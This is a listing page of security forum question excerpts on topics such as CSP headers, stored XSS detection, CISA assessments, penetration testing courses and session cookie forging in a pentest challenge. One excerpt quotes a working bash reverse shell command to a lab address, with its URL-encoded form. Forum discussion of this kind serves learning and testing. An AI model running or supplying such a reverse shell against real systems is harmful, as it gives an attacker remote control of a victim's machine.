Collaborate Disseminate
I have taken a liking to creating secure applications for commercial use in the future. I have the skeletons of an application ready.
How can I verify that my application is secure to an acceptable level? I need some experts to have a look… Continue reading Verify self-programmed, data sensitive applications
My business is looking into hardening our cyber security. In doing research on what resources are available to us I discovered the CISA Cyber Hygiene services. Does anyone have any experience with using their services? I can’t find very mu… Continue reading Experience with CISA Cyber Assessments free service?
While implementing CSP, there are two options.
Implement CSP in the HTTP response header
Implement CSP using a meta tag <meta http-equiv="Content-Security-Policy" content="default-src ‘self’">
Out of the above t… Continue reading Which CSP implementation is more secure?
I googled around this topic but nothing is available but some tools such as sonarqube, checkmarx, appscan source and etc.
can anyone help me by tutorials, books, articles or anything about it??
thanks.
Continue reading Is there any web application white box penetration testing course?
I am a blue team security researcher looking into preventing web-based attacks.
For manual pentesting, we can tell that a certain vulnerability is likely to be present if another vuln is detected e.g. if the user login field is vulnerable … Continue reading Web Attack Chaining – Follow Up Attack from a Single Vulnerability
I face a CSP header something like this –
default-src https:; font-src https: data:; img-src https: data:; script-src https: ‘unsafe-inline’ ‘unsafe-eval’; style-src https: ‘unsafe-inline’;
So is this is secure implementation?
This include… Continue reading Is this CSP implementation is secure?
I am trying to detect the presence of a blind/stored XSS vulnerability of an input field. The vulnerability does not trigger on page ‘A’ where the payload is injected.
It is likely due to the fact that the vulnerable field stores the value… Continue reading Detecting XSS when Payload is only Triggered on Another Page
I’m forming a start up and want to make sure my COMPUSEC/COMSEC is airtight. We work with a lot of sensitive customer information (think SSNs, bank accounts, etc.), NDAs, and government contracts. At such an early stage, having ANY leak of… Continue reading Need help attacking my ethernet network [closed]
This is the reverse shell I’m using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+
It used to work just fine and I’d catch the reverse shell with netcat. The p… Continue reading sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response
I am working on a pen-testing challenge, where I want to see if the session cookie can be forged by leveraging the vulnerable flask application (i can’t disclose the url due to agreement).
I have been given the source code. The part of the… Continue reading cookie forging: How to replace session cookies